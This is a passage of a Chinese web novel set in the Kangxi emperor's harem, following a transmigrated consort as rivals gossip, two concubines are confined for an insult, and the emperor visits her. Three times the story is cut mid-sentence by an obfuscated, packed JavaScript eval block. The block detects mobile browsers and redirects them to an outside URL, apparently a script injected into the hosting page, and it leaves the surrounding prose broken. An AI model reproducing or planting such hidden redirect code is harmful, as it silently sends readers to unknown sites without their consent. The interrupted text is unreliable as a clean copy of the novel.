而且若是她没有猜错的话,这位郭络罗庶妃就是后来的宜妃了。 那可是号称‘眷顾最深’的宠妃。 这才哪儿到哪儿呢。 对着云筠倒了一番苦水,到了该传午膳的时候,纳喇庶妃心满意足地走了。 云筠可以预料纳喇庶妃下午会去哪里。 储秀宫——赫舍里庶妃住在那里。 自从郭络罗庶妃横空出世后,纳喇庶妃仿佛化身为紫禁城街溜子。 她经常去的有两处,一处是云筠这里,因为她能一直听纳喇庶妃叭叭叭,是个相当好的倾听者。 另一处就是赫舍里庶妃那里了,在郭络罗庶妃得宠前她也是一名宠妃来着,只是郭络罗庶妃得宠后她就被皇上忘到了天边,和纳喇庶妃一起吐槽郭络罗庶妃相当快活。 至于云筠是怎么知道她们说话内容的? 因为纳喇庶妃在她面前叨叨的时候什么都一骨碌往外说完了。 她甚至知道赫舍里庶妃最喜欢吃的糕点是云片糕,喜欢喝普洱,在家中行五,父亲是内务府司库。 只能说在纳喇庶妃面前当哑巴是个无比英明的决定。 歇了一会儿,灵芝算着时间上前,一边撤着瓜果一边问道:“小主,午膳可要用些什么?” 要说穿越后什么最让云筠满意。 那肯定就是膳食了。 前世她天天要么吃外卖,要么煮速食,哪尝过这般讲究的手艺。 膳房大厨的手艺真不是吹的。 云筠摸着腰间的软肉。 她似乎是,胖了? 算了,是错觉。 “今日想吃锅子,你去外间那个松木匣子里取银子,算着量拿,让膳房给配些羊肉片、牛肉片,还有新鲜的鱼片,都得切得薄薄的,最好能透光的那种。再要一小罐芝麻酱,记得让他们多放些韭菜花和腐乳调开,蘸着吃才香。” 云筠的私房钱都由自己收着,只是另外备了一个匣子放在外面,时不时往里放些银钱由灵芝和茯苓取用。 这些私房钱有些是月例,有些是家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315764|182986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里偷偷送来的,有些年节和生育时上面赏赐的。 都是可以直接花出去的钱。 至于其余的有内务府印记的东西和药材之类,都好好登记造册入了库。 不多时,膳房的小太监就端着铜锅和食盘来了,铜锅下面还架着小小的炭炉,火苗正旺,锅里的浓汤咕嘟咕嘟冒着泡,香气瞬间弥漫。 其中一个小太监还是熟人。 “小主吉祥,”小德子笑容恭敬又热络,侧身让身后的小太监把食盘摆到桌上,“膳房今早刚到了一批盛京送来的新鲜鹿肉,奴才想着下锅子最是鲜嫩,便多拿了些给小主送来。” 云筠顺着他的目光看向桌面,不由得笑了。 除了铜锅和装着肉片的白瓷盘,还有两盅盖得严实的汤品,三碗冒着热气的粥点,连拌菜都是她爱吃的凉拌黄瓜、酱腌萝卜和卤豆干。 显然,膳房是摸准了她的口味,特意多备了几样。 “有劳公公费心了。”云筠温声说道。 一旁的茯苓早已会意,从袖中取出一小块银子,约莫半两重,递到小德子手里,笑容温和:“劳烦两位公公冒寒跑这一趟,这点银子拿去吃茶暖暖身子。” 小德子也不推辞,双手接过银子,又躬身行了一礼:“多谢小主和茯苓姑娘体恤,奴才们就不打扰小主用膳了。” 说罢便带着另一位小太监轻手轻脚地退了出去,连脚步声都压得极低。 —— 有人吃麻麻好睡麻麻香,有人食不下咽。 承乾宫的暖阁里,地龙烧得正旺。 看着一桌精致的菜肴,佟妃脸上没有半分笑意,指尖无意识地抠着描金椅扶的花纹,“表哥宣了郭络罗庶妃伴驾?” 作为孝康章皇后的侄女,康熙的亲表妹,为了表示亲近,佟妃被康熙准许过私下以表哥相称。 这也是佟妃认为自己在皇上心里是特殊存在的证明。 赵嬷嬷满脸心疼,“哎呦我的主子,您好歹吃一点,若是伤着身子皇上也会心疼的。” 伴驾一事,以往都是佟妃的殊荣。 她是康熙十五年入的宫,入宫就是妃位,与钮祜禄妃平起平坐,是地位最高的两位妃嫔之一。 康熙看着生母孝康章皇后与舅家的份上对她多有恩宠,再加上马佳庶妃有孕不能侍寝,两人很是过了一段浓情蜜意的日子。 一个长相英俊,身材硬朗,还有权有势说一不二的人对你展现独特的温柔,记得你的喜好,送你珍贵的礼物,时不时关怀问候。 佟妃彻底陷了进去。 赵嬷嬷是佟妃的奶嬷嬷,知道她在意什么。 “您可不是争那一时的长短,”赵嬷嬷见她神色落寞,忙凑到跟前,压低声音劝道,“待您有了子嗣,凭着您的身份,凭着皇上对您的旧情,又有谁能越得过您去?” 这说到了佟妃的心里。 钮祜禄妃家世再显赫,没有孩子,终究是无根的浮萍。 郭络罗庶妃再得宠,不过是包衣出身,又能得意多久? 可她不一样,她是皇上的亲表妹,若是能生下一个皇子······ 见她脸色动容,赵嬷嬷亲自盛了一碗燕窝粥。 燕窝炖得软糯,粥面泛着淡淡的米香。 佟妃用银勺轻轻搅动着,“吩咐小厨房,明日起多做些温补的吃食。” 5. 那拉庶妃 小厨房是主位妃嫔的特权,目前也只有佟妃与钮祜禄妃处有。 只是钮祜禄妃向来节俭。 膳桌上,不过三菜一汤整齐摆放,翡翠白玉汤浮着嫩黄的蛋花,水晶肘子切得方方正正,只浇了层浅绛色的酱汁,还有碟清炒时蔬与一碟蜜饯海棠,比起佟妃宫里动辄十几道的满汉席面,实在是清淡得很。 伺候的宫女们早已摸透自家主子的规矩,皆敛声屏气地立在一旁,偌大的房间里只余静谧,唯有餐具轻碰的细微声响。 待到筷子落下,钮祜禄妃用手帕轻轻压了压嘴角,动作间带着世家女子自小养出的端庄。 两名小太监井然有序地将膳食撤下,又有小宫女上了一盏温热的茶水。 正好放在钮祜禄妃手边。 钮祜禄妃呷了一口茶,是她喝惯了的碧螺春,脸色难得带些红润,“这个月的月例可都发下去了?” 一位穿着石青色长袄,领口袖口都缝着素色滚边,面容严肃的嬷嬷恭敬回话,“回主子,内务府那边回话,各宫都已派人领取。只是郭络罗庶妃那里,按例发的是小福晋份例。” 主子对皇上恩宠并不看太重,若是平常妃嫔她自然也不会多说这么一句。 可是郭络罗庶妃刚入宫就荣宠太过,具体怎么办,是否需要稍微压制,端看主子心意。 虽然是小福晋的份例,但里面的说道可多了去了。 就拿份例中的白米与面粉来说,是给普通带麦麸的糙米,还是给专供皇家的贡品碧梗米,好坏之别一目了然。 吴嬷嬷心思转悠了一圈,面上依旧是严肃模样。 她又补充了句:“并且乾清宫那边,今儿又宣了郭络罗庶妃伴驾。” 钮祜禄妃撇眼淡淡看了嬷嬷一眼,语气平淡无波,“伴驾是她的福气,妃嫔的职责本就是伺候皇上为皇家开枝散叶,能让皇上高兴也是她的本事。” 这话的意思就是当普通妃嫔对待了。 既不刻意打压,也不格外关照。 钮祜禄妃对此想得很透彻。 中宫虚位,论家世、论品行,她都是可预见的下一任皇后,是要执掌六宫的国母。 这些妃嫔算是她的手下。 讨皇上高兴是她们工作的一环。 自己的职责则是管理好后宫,不要出缺漏。 况且在这后宫里,‘恩宠’二字最是靠不住。 今儿皇上疼宠这个,明儿或许就转向那个,谁能说得准谁的福气长长久久? 当初马佳庶妃也是排得上号的宠妃,甚至在仁孝皇后之前诞下了庶长子,恩宠十年如一日,可如今却也被这位新入宫的郭络罗庶妃比了下去。 可见,什么宠爱之类都是虚的,只有握在手里的权力、实实在在的份例,才是真真正正的好处。 让宫女拿来账本,钮祜禄妃翻看了几页,吩咐道,“宫里近来进了新人,咱们做老人的,也不能厚此薄彼,寒了人心。江南那边刚进贡了一批新样式的云锦,你让人去内务府取来,延禧宫、启祥宫与钟粹宫,各送两匹清新雅致的颜色,像是月白、浅碧、藕荷色都好。储秀宫、咸福宫与翊坤宫,就送些鲜妍明媚的,让她们也添些新衣裳。” 郭络罗庶妃一获宠便打破了不少旧例,各宫心里难免有想法,她这么做,既是安抚,也是为了后宫安稳——手心手背都是肉,不能让新人占了风头,倒寒了老人的心。 稍作停顿,又想起一事。 “如今天气回暖,按惯例内务府该停了炭火供应。但皇上先前曾说佟妃体弱畏寒,既是如此,佟妃那里便特殊些,多供应一个月的炭火。” 佟妃是皇上的表妹,家世显赫,虽性子张扬了些,却也没什么坏心思。 最后,钮祜禄妃合上账本,揉了揉眉心,“万寿节也日渐临近,宫里该开始筹备了。你去传个话给内务府总管,让他们尽快拟出一份筹备章程,无论是宴席的菜式、戏台的安排,还是各处的赏赐清单,都要写得细致些,呈给本宫过目。” 这些事情虽有以往的旧例,但繁杂琐碎,出不得差错。 她也只有事事安排妥当才能放心。 —— 作为这段时间里的风云人物,整个后宫中心话题,郭络罗庶妃如今可谓是志得意满。 入宫便被皇上指入后宫,侍寝之后更是直接升了一级,压在众多老人头上。 比她早入宫的姐姐如今还只是一个格格,住在偏远的宫殿,几个月也见不着皇上一面。 她知道自己的容貌是资本,入宫时便笃定皇上会喜欢她。 可她没想到,皇上的宠爱竟会这样浓烈。 想起这个月的种种,郭络罗庶妃内心一阵甜蜜。 皇上多次翻牌不说,即使不翻牌也会宣她伴驾,当真是独宠。 乾清宫有一间房就是属于她的。 皇上特许她在此小憩。 这可是妃位甚至是皇后的待遇。 听见有了动静,两个梳着小两把头,年纪不大不小的宫女走了进来,前面那个更是堆着讨好的笑,手里的帕子都拧得整整齐齐。 “小主醒啦,梁公公刚打发人来说,皇上正和军机处的大人们议事,让奴婢们先伺候小主梳妆,等议完事就来陪小主用晚膳呢。” 午睡时宫女们已贴心地帮郭络罗庶妃卸下了钗环,只在发髻上挽了根素银簪子。 “还有这些首饰。” 后面的宫女端着托盘上前,让郭络罗庶妃能更好看清楚。 点翠海棠花纹的头花,花瓣上缀着细小的珍珠,花蕊处嵌着颗鸽血红的宝石,在霞光下泛着莹润的光泽。 “梁公公说,皇上今早看见小主穿素色衣裳,说衬得小主脸色都淡了些,特意开私库取了这套,为小主增添一点颜色呢。” 这也不怪她们殷勤。 皇上对这位小主的特殊她们都看在眼里。 这位容貌及盛,是板上钉钉的宠妃,以后指不定是位妃主子。 现在伺候好了混个脸熟,她们说出去也挺有面子的。 别说宫女没有交际圈和鄙视链,宫女的鄙视链多着呢。 伺候得宠的看不上伺候不得宠的,在乾清宫的又比别的宫高一等。 何况。 小宫女偷偷看了一眼脸颊泛粉的郭络罗庶妃。 十七八岁的年纪,肌肤嫩得能掐出水来,鼻梁小巧挺直,唇瓣是天然的樱粉色,就算不施粉黛,也比宫里最会打扮的答应好看百倍。 这位的容貌。 同为女子的她看了都心动不已呢。 两名宫女伺候郭络罗庶妃梳洗打扮,将这套点翠首饰一一摆好,先给她戴上头花,又在她耳垂上缀了对同系列的点翠耳坠,最后拿起一面银框西洋镜,递到郭络罗庶妃面前。 郭络罗庶妃对着镜子抿唇一笑,唇瓣勾起的弧度里满是得意——皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315765|182986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上说的没错,她就该配这样亮眼的首饰,享受这样独一份的宠爱。 有郭络罗庶妃伴驾,皇上自然也不会拂了她面子翻别的妃嫔侍寝。 这是后宫妃嫔们心知肚明的事情。 今儿不必等待了,早点洗洗睡吧。 明儿还要请安呢。 请安已经是一套熟悉的流程,云筠与纳喇庶妃刚到慈宁门,赫舍里庶妃便快步迎了过来。 云筠与赫舍里庶妃平日里交集不多,只在请安时偶尔碰面,好在纳喇庶妃性子外向,嘴也甜,两人亲切寒暄,“赫舍里妹妹,你来得可真早。” 两人三言两语便让气氛活络起来。 如果她们不要当着面说郭络罗庶妃的小话那就更好了。 纳喇庶妃熟练开头蛐蛐人:“昨儿又是郭络罗庶妃伴驾呢。” 赫舍里庶妃立刻接话,声音压得低了些,却足够让身边两人听清:“是啊,据说她头上那套点翠,当初佟妃看上皇上都没给呢。” 据说? 据谁说? 佟妃和皇上说话的时候你们趴床底啦? 宫里最广泛的消息来源——据说、听说、有人说。 云筠只能感谢她们还有点警惕心,站在一个不起眼的角落,周围的妃嫔也离得远。 纳喇庶妃又接着说道:“你说她运气怎么就这么好?刚入宫没几天就升了小福晋,还天天能陪着皇上,咱们这些入宫多年的,反倒成了陪衬。” 赫舍里庶妃连连点头,脸上满是羡慕与不甘:“可不是嘛!听说她姐姐连份例都时常被内务府克扣,如今倒要靠着她这个妹妹才能抬头,真是同人不同命。” “哎哎,别说了,她来了。” 纳喇庶妃拐了拐赫舍里庶妃,声音瞬间压低,眼神朝着不远处的宫道瞟去。 云筠注意到,原本三三两两说话的妃嫔们,见郭络罗庶妃来了,都下意识地停住了话头。 不会都在蛐蛐郭络罗庶妃吧? 郭络罗庶妃也注意到了这份不同寻常。 不过她不在意。 额娘说了,只有庸人只会自扰,她们说得再多也阻挡不了皇上翻她牌子。 而且她们说得越多,越证明她们心里羡慕,越证明自己如今的地位无人能及。 纳喇庶妃见郭络罗庶妃走远了,才敢抬起头,对着赫舍里庶妃小声嘟囔:“你看她那得意的样子,真让人瞧不惯。” 赫舍里庶妃也压低声音回应:“有什么办法呢,皇上宠着她,咱们也只能看着。” 两人你一言我一语,又开始小声议论起来,只是声音比刚才更低了,生怕再被郭络罗庶妃听见。 她们又不是傻子。 背后说人话算是人之常情,当着面说那可是真的要对上了。 在慈宁宫外姿态从容又高傲的郭络罗庶妃,入了慈宁宫也下意识端正了心态,安安静静同云筠她们一道当壁花。 只是今日当壁花的不仅仅是她们。 惯常问候过后,太皇太后难得在她们面前用蒙语和博尔济吉特庶妃聊了起来。 这位庶妃也是今年入的宫,只是人家来历好着呢。 出身于科尔沁左翼中旗,是科尔沁扎萨克达尔罕亲王和塔之女,更是清世祖悼妃的侄女、太皇太后的侄孙女,入宫就是小福晋。 虽然也不受宠。 但有太皇太后和皇太后照看着,日子也差不了。 6. 那拉庶妃 面对博尔济吉特庶妃时,太皇太后的表情都柔和了些:“你刚入宫不久,若是宫里有什么不习惯的,或是缺了什么,尽管跟哀家说,别委屈了自己。” 太皇太后对博尔济吉特庶妃不受宠早有预料。 后宫属于蒙古妃嫔的时代早就过去了。 她的儿子顺治帝废了一位蒙古皇后,虽然在她的压制下还是立了一位来自科尔沁的继后,可惜无子无宠,在后宫也不过是一个符号罢了。 如今到了她孙子玄烨。 蒙古妃嫔更是初封连妃位都没有,可见他的态度。 可是满蒙联姻是国策,为了大清和科尔沁,后宫必须有来自蒙古的妃嫔。 只是可惜了科尔沁的女孩儿。 博尔济吉特庶妃抿唇笑:“谢太皇太后体恤,臣妾在宫里一切都好。内务府的人每日送来的膳食都是温热合口的,衣裳首饰也按着时节备得齐全,从未有过短缺,他们照料得很尽心。” 若说刚入宫时她还有过期盼,万一这位皇帝不似先帝呢? 不过在后宫里待了几个月,她的心就彻底凉了。 皇上从不踏足咸福宫,也不翻她的牌子。 她的阿玛是亲王,她是来自科尔沁的蒙古贵女,比之满洲八大姓也不差什么。 但是她竟然与包衣平起平坐,连个妃位都不是。 可她能怎么办呢? 反抗? 抱怨? 她若是敢有半分不满,传到阿玛耳朵里,只会让科尔沁蒙羞。 若是让太皇太后为难,那她在这宫里就真的无依无靠了。 她清楚地知道,自己唯一的出路,便是牢牢靠着太皇太后,安安分分地留在后宫里,做满蒙联姻的活标杆。 只要太皇太后还在,皇帝看在太皇太后的面子上,看在科尔沁的份上,就不会真的亏待她,至少能保她衣食无忧,安稳度日。 就这样吧。 看着博尔济吉特庶妃平静无波的面容,太皇太后内心叹了一口气。 她非常了解玄烨这个自己看到大的孙子。 博尔济吉特庶妃入宫他就抬举了一个同年入宫的包衣妃嫔,及尽宠爱。 一方面是郭络罗庶妃的确好颜色。 另一方面就是对博尔济吉特不满了。 这点和他阿玛顺治倒是很相似。 不愧是天家父子。 她能做的,只有让内务府那些捧高踩低的不苛待罢了。 想到这里,太皇太后没了兴致,只抬手让她们告退了。 —— 出了慈宁宫,纳喇庶妃正与赫舍里庶妃一道等着云筠,热情发出邀约:“今儿天气好,可要一道去御花园转转?” 云筠笑着拒绝了:“我就不去了,你们玩得开心。” 虽然天气回暖,但对上辈子是南方人的她来说还是有些寒冷。 心理上难免有些疲懒,想猫在延禧宫继续过冬。 况且御花园作为宫斗事故高发地,最近后宫也不太安生,她还是不要去蹚这趟浑水了。 纳喇庶妃也没有坚持。 她同云筠告别:“那行,我就和赫舍里庶妃一道走了。” —— 午睡过后,云筠准备练些字打发时间。 原主虽不能说琴棋书画样样精通,但也都有涉及,尤其是书画。 入宫后发现皇上更喜欢识字有才情的,为了能同皇上多一些话题,原主在书画也是下了一番功夫。 让灵芝茯苓不必贴身伺候,云筠独自在小书房写着大字。 笔锋划过宣纸,留下一道端正的线条,渐渐勾勒出“宁静致远”四个字的轮廓。 刚写到一半,灵芝走了进来:“小主,赫舍里庶妃与纳喇庶妃被皇上禁足了。” “怎么一回事?”云筠笔锋一顿,有些诧异。 难道她是什么乌鸦嘴不成,上午刚想到御花园是宫斗高发地,下午就出事故了? 灵芝也有些一知半解,她一听到这个消息就快速回来告诉小主了。 “说是两位庶妃在御花园说了什么不好的言论,刚好被郭络罗庶妃与皇上听见,被罚了。并且听说皇上本来罚了禁足三个月,罚俸半年,是郭络罗庶妃在一旁求情,这才减到了只禁足三个月。” 那就不奇怪了。 凭着纳喇庶妃与赫舍里庶妃这些日子的表现,云筠竟然毫不意外。 只是这梁子估计她们两个要和郭络罗庶妃结下了。 虽然郭络罗庶妃看起来毫不计较,甚至求了情。 可那是在皇上面前。 谁知道郭络罗庶妃心里到底怎么想的呢。 眼看这张字是不成了,云筠放下毛笔,略微疑惑,“她们是怎么刚好和皇上碰上的?” 纳喇庶妃和赫舍里庶妃再不济也一个生下了皇子,另一个曾经也算得上得宠,能在后宫混出名姓,怎么也不会蠢到直接在御花园大声宣扬郭络罗庶妃的不好吧? 不带这么主动往别人手里送把柄的。 灵芝也非常好奇,“那奴婢再去打听打听。” 后宫生活乏味,尤其这次涉及到皇上的新晋宠妃,估计大半个后宫都在打听事情原委。 云筠也没有了写字的心思,静静等候着消息。 她虽然一心想在后宫躺平当咸鱼,但也不想成为一个聋子瞎子,至少大家都知道的消息她要知道,以免犯了忌讳。 同住延禧宫,云筠这边很快知道了事情的原委。 “小福子打听出来,说御花园有一处迎春花开得正好,皇上正与郭络罗庶妃观赏。那处迎春花正好在拐角处,赫舍里庶妃与纳喇庶妃也没有看见,只是一边说话一边走着,刚好就撞上了。” 灵芝叹气,仿佛在感叹这两位庶妃怎么如此倒霉。 “当时纳喇庶妃提到了先帝董鄂皇贵妃,并且将郭络罗庶妃与这位皇贵妃作比,言语讥诮,说郭络罗庶妃活脱脱就是新的董鄂皇贵妃。” “皇上当时便大怒,下令让两位庶妃禁足,只是郭络罗庶妃在一旁劝阻,说看在阿哥的份上,禁足三个月小惩大诫就是了。” 这句话几乎同时得罪了皇宫里的三座大山。 太皇太后、皇太后、皇上。 太皇太后在顺治帝时对董鄂妃十分不喜,因为董鄂妃,太皇太后多次与顺治帝争吵,母子失和。 皇太后则是当时的皇后,顺治帝想再次废了这位来自科尔沁的不得他喜欢的皇后,改立董鄂氏为后,若不是太皇太后与群臣极力劝阻,皇太后会成为第二位被废的皇后。 当年董鄂妃诞下皇四子,顺治帝欣喜若狂,称为‘朕之第一子’。 而当今是顺治帝的第三子。 完全被自己皇阿玛抛在脑后。 只能说纳喇庶妃不鸣则已,一鸣就得罪了个大的。 听见细节,茯苓在一旁欲言又止,“小主,怎么会有这么巧合的事,纳喇庶妃莫不是被人算计了?” 后宫可不存在完全的巧合。 云筠虽然也这么怀疑,但目标太大太广了。 纳喇庶妃凭着她那张嘴本就得罪了不少妃嫔,还有郭络罗庶妃得宠,后宫不知道有多少人想她跌下来。 反正出了这件事,皇上是不可能继续独宠郭络罗庶妃了。 甚至她不因此失宠都是好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315766|182986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 这后面的人也真是厉害,一石三鸟,一击毙命啊。 云筠只能摆手,“不管纳喇庶妃是不是遭人算计了,就她这张嘴,唉,希望她这次能涨点教训。” 有些东西是能在外面说的吗? 就算在自己宫里,有些话也不能想说就说。 还真是胆子又大又没心眼啊。 “算了,这件事到此为止,让殿里的人别出去到处乱说,不然别怪我到时候保不了你们。” 虽然估计后宫该知道的也知道的差不多了。 但是上位者的笑话是那么好看的吗? “还有小福子,是个机灵的,拿一两银子给他。” 小太监一个月的俸禄也才二两银子。 灵芝笑得像是自己得了赏,抬手拱了拱,“那奴婢先替小福子谢过小主赏赐了。” 云筠被她这幅模样逗笑了,“行了,让他好好办差,少不了他的。” - 有妃嫔被禁足,自然要通知如今管着后宫的钮祜禄妃。 不太想管这些妃嫔之间的倒灶事,钮祜禄妃忍着不耐,“说吧,怎么回事。” 吴嬷嬷说了事情的经过,小心翼翼道:“奴婢认为纳喇庶妃说的也在理。” “郭络罗庶妃一入宫便打破了许多惯例,侍寝就升了一级,如今更是荣宠加身,升位分随时看皇上心意。” “尚未生子就这般,若是有了子嗣岂不是妃位在望?” 其实她更想说的是与主子平起平坐。 先帝那会儿有皇后都想废后立董鄂氏呢,如今后宫可没有皇后。 “嬷嬷不要多想,”钮祜禄妃真的要叹气了。 吴嬷嬷的确对她忠心不二,只是这耳根子实在太软了些,目光也着实短浅了。 “本宫如今的目标是管理好后宫,展现自己的能力,成为皇后才是当前的要事。” 她仔细与吴嬷嬷掰扯,“皇上当初就受尽了董鄂妃的苦楚,断不会在后宫偏宠一人。马佳庶妃与那拉庶妃都有宠有子相互制衡,本宫有宫权没有宠爱,佟妃有宠爱没有宫权,这后宫的事,皇上心里自有一杆秤。” “等着看吧,郭络罗庶妃得宠的时候皇上不会让她养孩子的。” 吴嬷嬷听着,眼中的疑惑渐渐散去,连忙点头:“主子说得是,是奴婢目光短浅了。只是纳喇庶妃那般糊涂,怎么会突然想起提董鄂妃的旧事?依她的性子,怕是连董鄂妃是哪朝哪代的人都未必清楚。” 在吴嬷嬷看来。 其余妃嫔有可能扮猪吃老虎。 只有纳喇庶妃不一样,她是真猪,经过她亲自鉴定的那种。 如果不是初次侍寝就好运怀上了,纳喇庶妃现在指不定在哪个犄角旮旯的宫殿啃馒头呢。 钮祜禄妃眼睛一沉:“这正是本宫要查的。” 她顿了顿,语气愈发严厉:“另外,传本宫的话下去,所有宫人太监都给本宫管好自己的嘴,不许再议论两位庶妃禁足之事,更不许提董鄂妃的名字。谁敢再私下嚼舌根,查出后立刻杖责二十,发往辛者库!” 其实钮祜禄妃心里知道。 这事查不出来的。 没有实物,只需要让纳喇庶妃听见几句似是而非的话就足够了。 如果让她来做这件事,她有一百种方法让人抓不住把柄。 因此她只是要给皇上展现态度。 她查了。 有这个动作。 至于其它。 她现在还不是皇后不是吗? 唯一要注意的就是纳喇庶妃被禁足了,她要让人注意一下兆祥所阿哥那边,别让人怠慢了。 7. 那拉庶妃 这件事之后康熙仿佛终于想起了自己还有其她妃嫔。 先去了马佳庶妃那里。 隔日又来了云筠这儿。 没玩什么偷听偷看的把戏,在康熙来延禧宫之前就有小太监来传话,让云筠准备接驾。 给小太监送了赏钱,灵芝一脸兴奋:“奴婢一定发挥最好的手艺,把小主打扮得漂漂亮亮的。” 后宫都是看人下菜碟。 之前小主大病一场,后又皇上专宠郭络罗庶妃,她眼瞧着底下有人心思浮动了。 只是茯苓姐姐让她先记下来,之后再与小主说。 她心里记着呢。 现在皇上来了,看她们还能说道什么,哼。 离开小主就是她们的损失。 “不必铺张,打扮家常一些就是了,”云筠制止了灵芝跃跃欲试的想法,“怀保清时皇上赏了一只玉兰花簪,戴上吧。” 有枣没枣先打一杆子再说。 皇上若是记得这簪子的来历,自然会想起保清。 就算没印象,这打扮也不出错。 茯苓过来询问:“小主,内务府新送来了一批沉水香,可要点上?” 平日里云筠是不爱点熏香的,她更喜欢一些自然的香味。 云筠摇头:“不必了,按照平时里的来吧。” 皇上要来的消息让东偏殿伺候的人瞬间打起精神,将延禧宫到东偏殿这块地洗了又洗,打扫得一尘不染。 小福子难得有了一次在小主前露面的机会,腿脚倒腾得飞快过来禀报,喜气洋洋:“小主,皇上御驾过了景仁宫,往咋们这儿来了。” 云筠在茯苓的搀扶下缓缓起身,静静站在偏殿前等候。 今日是个好天气,阳光透过云层洒下来,落在身上暖洋洋的。 熟悉的明黄身影渐渐走近,云筠身体快过脑子,屈膝行礼,“嫔妾参见皇上,皇上万福金安。” 越过跪了一地的宫女太监,康熙将她扶起,声音带着随意的关切,“免礼,只是你身子不大好,在屋内等候即可。” 云筠顺着康熙的力道站了起来,扬起一抹微笑,语气坦诚,“嫔妾想早一点见到皇上。” 云筠心里清明得很,这话康熙也就是随口一说。 并且不知道对多少妃嫔这么说过。 不过下次她们还是会站在殿外等候。 毕竟皇帝。 心情好的时候心疼你,心情不好的时候就是不知礼数。 不知道康熙在面对其她妃嫔时又是什么说辞? 云筠脑子里想着些有的没的,身体却自觉跟在康熙身后进了房间。 开始有一搭没一搭闲聊:“皇上可用了午膳?” 她刚用了午膳准备午休一会儿就收到了康熙要来的消息。 现在正踩着午膳时间的尾巴上。 不过显然康熙并没有要和她一同用膳的想法。 坐在窗边的罗汉榻上,康熙随手端起茯苓刚奉上的茶,抿了一口便放在案几上,语气平淡:“用过了。” 屋内没有熏香,只有案几上摆着的新鲜瓜果,散发出浅浅的清甜气息,混着窗外飘进来的草木香,倒让人觉得格外安心。 云筠悄悄抬眼,瞥见康熙指尖无意识地摩挲着罗汉榻的扶手,眉头微蹙,虽未显露出明显的烦躁,可那周身的气压却比平日里低了几分。 这位皇帝似乎心情不太好。 虽说喜怒不形于色是皇帝的基本素养,但原主好歹也和他相处了这么些年,一些大概的东西还是能看出来的。 并且有自己的应对方式——冷处理。 她向来知道自己天资不算聪颖,嘴也不够伶俐,没有七窍玲珑的心肠能说些巧话让皇上瞬间开怀。 况且能让一国之君都忧虑的事情,又怎么可能是她几句轻飘飘的话就能说透化解的。 所以倒不如让皇上自己静静开解。 后宫本来就是皇上放松心神的地方。 她能做的,不过是提供一个让皇上短暂放下烦忧的安静环境。 康熙似乎也习惯了这样的氛围,随手从一旁抽出一本书看了起来。 云筠坐在他旁边的绣凳上,拿出未完成的作品,一针一线地继续绣着。 梁九功将这一切看在眼里,悄悄给茯苓使了个眼色,两人默契地躬着身子,脚步放得极轻,一点点退出了里间。 最后守在了落地花罩处。 不远不近,方便随时听候差遣。 云筠坐在绣凳上,绣得专注,心里相当坦然自在。 即便多了一个康熙在屋内,对她而言也完全没有影响。 仿佛他不是九五之尊的帝王,只是一位寻常的访客,安静地待在一旁,互不打扰。 房间内静谧下来。 不知过了多久,康熙合上书页,打破了这份宁静。 “你在鬼门关走了一遭,伤了身子,朕让梁九功开私库取了一些药材,作你滋补养身之用。” 云筠瞬间打起精神。 安抚来了。 其实按照宫里的规矩,这才是正常流程。 她作为皇子生母,大病初愈销假后,康熙本就该在当天来探望,既是顾及父子情分,也是维系帝王对妃嫔的情面。 可前阵子他忙着前朝的事,整个后宫都被抛在了脑后,后来又被郭络罗庶妃绊住了心思。 于是她现在才等来康熙的病愈大礼包。 不过白得的东西她还是挺高兴的。 皇帝私库里的药材,哪一件不是精心挑选的珍品,不仅药效好,还完全不用担心被人暗中动手脚。 用着既安心又实惠。 云筠放下针线,语气带着恰到好处的感激:“皇上赏赐,嫔妾便不推辞了,多谢皇上记挂。” “嗯,”康熙淡淡应了一声,从罗汉榻上起身,拍了拍她的手,“政务繁忙,朕改日再来看你。” 云筠垂眸应着:“恭送皇上。” 康熙的改日再来一般不会超过一个月。 看来他今日对她还算满意。 说得更透彻些,是她足够识时务,从始至终没说一句不该说的话,没探一句不该问的事,恰好给了他想要的安静。 这也是云筠打算继续维持的人设。 她不打算主动争宠,可也不会将康熙往外推。 那就要找准自己在后宫的定位了——相处融洽、善良贤德。 正在登记皇上送来的药材,感觉自己袖子被轻扯了一下,茯苓转头看向灵芝,“怎么了?” 灵芝靠近茯苓耳边,轻声问道:“茯苓姐姐,现在要告诉小主哪些人有异心了吗?” 她真的迫不及待想要扬眉吐气了。 哈哈,让她们觉得小主失宠了。 傻眼了吧。 “小主心里自有章程,你先继续盯着,”茯苓手下有条不紊,说话也慢条斯理,“你若是无事,就去整理小主夏季的衣物和鞋袜,天气回暖了,这些要先备着。” “哎呀,好姐姐,”灵芝抱着茯苓手臂撒娇,“好姐姐,给我说说嘛。” 茯苓铁石心肠不为所动,“快去干活儿。” - 